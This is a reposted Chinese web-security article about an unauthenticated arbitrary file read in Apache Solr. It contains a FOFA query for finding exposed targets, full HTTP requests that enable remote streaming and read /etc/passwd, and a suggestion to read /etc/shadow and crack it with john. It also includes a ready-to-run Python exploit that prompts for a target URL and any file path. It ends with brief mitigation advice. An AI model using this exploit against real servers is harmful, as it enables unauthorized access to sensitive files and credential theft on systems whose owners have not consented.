中文字幕av专区_日韩电影在线播放_精品国产精品久久一区免费式_av在线免费观看网站

溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

web安全中Apache Solr全版本任意文件讀取漏洞分析

發布時間:2021-12-29 17:38:32 來源:億速云 閱讀:146 作者:小新 欄目:網絡管理

這篇文章主要為大家展示了“web安全中Apache Solr全版本任意文件讀取漏洞分析”,內容簡而易懂,條理清晰,希望能夠幫助大家解決疑惑,下面讓小編帶領大家一起研究并學習一下“web安全中Apache Solr全版本任意文件讀取漏洞分析”這篇文章吧。

0x01 漏洞說明

Apache Solr 全版本存在任意文件讀取漏洞,攻擊者可以在未授權的情況下獲取目標系統的敏感文件

0x02 影響版本

全版本

0x03 漏洞復現

fofa搜索標題:app="Solr" || app=""Apache-Solr"

web安全中Apache Solr全版本任意文件讀取漏洞分析

環境配置

下載Solr進行解壓縮:

https://solr.apache.org/downloads.html     #solr下載

進入Solr的bin目錄執行命令:

./solr strat

web安全中Apache Solr全版本任意文件讀取漏洞分析

訪問url,出現如下頁面即為啟動成功。

http://192.168.153.7:8983

web安全中Apache Solr全版本任意文件讀取漏洞分析

此時啟動的solr是沒有核心進行索引和搜索的。

./solr create -c <name>   # 創建一個數據驅動模式的核心

漏洞復現

訪問url:

http://192.168.153.7:8983/solr/admin/cores?indexInfo=false&wt=json

web安全中Apache Solr全版本任意文件讀取漏洞分析

burp數據包為:

GET /solr/admin/cores?indexInfo=false&wt=json HTTP/1.1
Host: 192.168.153.7:8983
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

web安全中Apache Solr全版本任意文件讀取漏洞分析

再使用burp進行POST請求:

POST /solr/henry/config HTTP/1.1
Host: 192.168.153.7:8983
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Length: 84

{"set-property" : {"requestDispatcher.requestParsers.enableRemoteStreaming":true}}

web安全中Apache Solr全版本任意文件讀取漏洞分析

當出現"This response format is experimental.  It is likely to change in the future." 表示存在漏洞。

進行文件讀取:

POST /solr/henry/debug/dump?param=ContentStreams HTTP/1.1
Host: 192.168.153.7:8983
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Length: 35
Content-Type: application/x-www-form-urlencoded

stream.url=file:///etc/passwd

web安全中Apache Solr全版本任意文件讀取漏洞分析

也可以讀取shadow文件然后進行john爆破出密碼:

web安全中Apache Solr全版本任意文件讀取漏洞分析

web安全中Apache Solr全版本任意文件讀取漏洞分析

POC腳本:

(PeiQi師傅,永遠的神!)

# coding=utf-8
# Apache Solr 全版本任意文件讀取
# Fofa:app="Apache-Solr" || app="Solr"

import requests
import json
import sys
import time

def title():
    print("+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~+")
    print("+~~~~~~ Apache Solr 全版本任意文件讀取 ~~~~~~+")
    print("+~~~~~~     Use: python3 solr.py     ~~~~~~+")
    print("+~~~~~~   url: http://x.x.x.x:port   ~~~~~~+")
    print("+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~+")
    time.sleep(2)

def get_name(url):
    url_1 = url + "/solr/admin/cores?indexInfo=false&wt=json"
    try:
        res = requests.get(url=url_1)
        #將json數據python字典話
        name = str(list(json.loads(res.text)["status"])[0])
        print("[!]  獲取到目標系統name:\033[31m%s\033[0m"%name+"  [0]"+"URL:"+url+"/solr/"+name+"/config")
        return name
    except Exception as e:
        print("[!]  目標URL無法進行利用。",e)
        sys.exit(0)

def check_vul(url,name):
    url_2 = url +"/solr/" + name + "/config"
    data = '{"set-property" : {"requestDispatcher.requestParsers.enableRemoteStreaming":true}}'

    try:
        res = requests.post(url=url_2,data=data)
        if "This response format" in res.text and res.status_code == 200:
            print("[!]  \033[31m目標系統存在漏洞\033[0m")
        else:
            print("[!]  目標系統不存在漏洞")
            sys.exit(0)
    except Exception as e:
        print("[!]  目標系統請求失敗")
        sys.exit(0)

def read_files(url,name,file_name):
    url = url + "/solr/" + name + "/debug/dump?param=ContentStreams"
    # 此處必須要加content-type,否則讀取不到文件
    headers = {
        "Content-Type" : "application/x-www-form-urlencoded"
    }
    data = "stream.url=file://{}".format(file_name)

    try:
        res = requests.post(url=url,headers=headers,data=data)
        if "No such file or directory" in res.text:
            print("[!] 目標系統讀取文件失敗!")
            sys.exit(0)
        else:
            print("正在讀取文件..........")
            content = (json.loads(res.text)["streams"][0]["stream"])
            print("[o] 讀取文件內容為:\n\033[34m{}\033\0m".format(content))
    except Exception as e:
        print("[!]  目標系統似乎意外中斷了",e)
        sys.exit(0)

if __name__ == "__main__":
    title()
    url = str(input("\n[!]  請輸入目標系統URL: "))
    name = get_name(url)
    check_vul(url,name)
    file_name = str(input("[!]  請輸入要讀取的文件:"))
    read_files(url,name,file_name)

0x04 修復建議

由于目前官方不予修復該漏洞,暫無安全版本。

1. 開啟身份驗證/授權

2. 配置防火墻策略,確保Solr API(包括Admin UI)只有受信任的IP和用戶才能訪問

3.禁止將Apache Solr放置在外網

以上是“web安全中Apache Solr全版本任意文件讀取漏洞分析”這篇文章的所有內容,感謝各位的閱讀!相信大家都有了一定的了解,希望分享的內容對大家有所幫助,如果還想學習更多知識,歡迎關注億速云行業資訊頻道!

向AI問一下細節

免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。

AI

天镇县| 昌图县| 海伦市| 昌乐县| 城口县| 十堰市| 女性| 平邑县| 襄垣县| 广宁县| 成安县| 化州市| 体育| 五常市| 宜黄县| 丹巴县| 黄浦区| 义马市| 丹江口市| 错那县| 嘉峪关市| 太谷县| 扎赉特旗| 都昌县| 婺源县| 菏泽市| 茶陵县| 海盐县| 静乐县| 长阳| 神农架林区| 海南省| 霞浦县| 大同市| 织金县| 汉川市| 双江| 香格里拉县| 竹溪县| 博湖县| 芜湖市|